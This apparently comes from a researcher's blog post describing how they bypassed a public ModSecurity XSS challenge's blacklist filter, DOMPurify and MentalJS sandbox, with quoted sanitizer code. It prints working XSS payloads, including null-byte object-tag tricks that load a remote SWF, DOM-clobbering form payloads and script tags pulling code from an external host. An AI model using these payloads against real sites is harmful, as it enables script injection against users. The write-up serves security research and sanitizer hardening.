First of all, at the moment this challenge is ongoing since last year (2013) and you may have already heard about it. Here is the link to this challenge: http://www.modsecurity.org/demo/demo-deny-noescape.html
I was very late to the party as other challengers could have defeated it easier in September 2013: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html. These bypasses have been fixed now and it should not be possible to use those techniques to win the challenge.
As a result, the challenge is much harder than what it was in September and probably would be tougher in future. Fortunately, I managed to bypass all three different groups of the protections separately. Unfortunately, I could not find a single payload to bypass everything at the same time so I could not claim the prize just like other previous challengers! You can tell me first if you found a way to bypass them all though ;)
Here is what I did to bypass the XSS protections in this challenge for future reference:
XSS Defense #1 – blacklist method
XSS detection based on 5 different restricted blacklists! In my humble opinion, you may not be able to use these blacklists at the same time in a live web application because of the high number of false-positives. For example, it currently detects the following strings as attack vectors: “dude, I am online =))”, “<~form”, or “test this src for me”.
I thought I may be able to bypass the protection by using a flash file and an “object” tag, but “<object data=…” was blocked by different protections…
However, I used the following features to bypass these protections:
- An “object” tag does not need to be closed for this scenario.
- A null character with an alphanumeric character after the “object” tag would make it undetectable by different protection methods in this challenge (e.g. “<object%00something”).
- “allowScriptAccess” and “data” attributes were allowed!
So the following is a bypass method for the XSS Defense #1:
<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?
And as the page writes the payload twice, I could also use the following to bypass the protections:
'allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?<object%00something else='
XSS Defense #2 and #3 – DomPurify and MentalJS
The defense #2 and #3 are about bypassing the white-list protections. You can read more about them in the modsecurity challenge page.
I was thinking to bypass DomPurify by using DOM clobbering attack (http://www.thespanner.co.uk/2013/05/16/dom-clobbering/) but it had some protections against it:
// https://raw.githubusercontent.com/cure53/DOMPurify/d488ccf4680a7c019bce4de100f53e8ed86d5034/purify.js var _isClobbered = function(elm) { if(elm instanceof Text) { return false; } if ( (elm.children && !(elm.children instanceof HTMLCollection)) || typeof elm.nodeName !== 'string' || typeof elm.textContent !== 'string' || typeof elm.nodeType !== 'number' || typeof elm.COMMENT_NODE !== 'number' || typeof elm.setAttribute !== 'function' || typeof elm.cloneNode !== 'function' || typeof elm.removeAttributeNode !== 'function' || typeof elm.insertAdjacentHTML !== 'function' || typeof elm.attributes.item !== 'function' ) { return true; } return false; };
In this code, it checks “elm.attributes.item” to be a function but it does not verify the “elm.attributes” to have the correct type (it has been fixed now). As a result, I managed to bypass its “_sanitizeAttributes()” function by using a “form” tag with two “input” elements with the “name” attributes equal to “attributes”. If I was using just one “input” element, “elm.attributes.item” would not be a function, and therefore it was detectable; however, with more than one element, “elm.attributes.item” would be a function and “attributes.length” would be a numerical value so there would be no error in JavaScript, and this causes confusion for “currentNode.attributes[attr].name” in the following code to point to the “input” elements instead of the real form’s attributes which is what we need. Therefore, I could bypass the protection that DomPurify had in the “_sanitizeAttributes” function without causing any error by using DOM clobbering technique:
/* Check if we have attributes; if not we might have a text node */ if(currentNode.attributes) { /* Go backwards over all attributes; safely remove bad ones */ for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) { tmp = clonedNode.attributes[attr]; clobbering = false; currentNode.removeAttribute(currentNode.attributes[attr].name);
The bypass code is as follows:
</pre> <form onmouseover="alert("by @irsdl:"%2bdocument.location)"><input type="text" name="attributes" /><input type="text" name="attributes" />
It turned out that this also bypasses MentalJS sandbox by causing confusion as a result of DOM clobbering in the code below:
if(elementNode.attributes instanceof HTMLElement || typeof elementNode.setAttribute !== 'function' || typeof elementNode.getAttribute !== 'function' || typeof elementNode.removeAttribute !== 'function') { elementsToRemove.push(elementNode); continue; }
XSS Defense #3 – MentalJS
Apart from the previous bypass for MentalJS, I also found out that it is possible to bypass its sandbox by using “innerHTML” to build a script tag instead of using “createTextNode”:
<script type="text/javascript"> x=document.createElement('script');x.innerHTML='alert(location)';documdoc.body.appendChild(x); </script>
I also found the following interesting tricks in MentalJS but they did not lead me to any new bypasses:
Keeping script “src” to an external js file (normally MentalJS removes them):
<script type="text/javascript" src="http://ha.ckers.org/xss.js"> x </script>
Keeping a non-whitelisted tag by clobbering the “removeChild” function (this will cause a JavaScript error but this is not a problem as it is in a try/catch statement):
</pre> <form name="IRSDL"><input type="text" name="removeChild" /><input type="text" name="removeChild" />xxxx</form> <pre>
If you are still interested, the following link is the conversation about bypassing MentalJS in slackers forum and it is really awesome:
http://sla.ckers.org/forum/read.php?2,29090,52131,page=13
MentalJS has been written by Gareth Heyes (@garethheyes) who was supporting me to bypass his tool to make it more secure.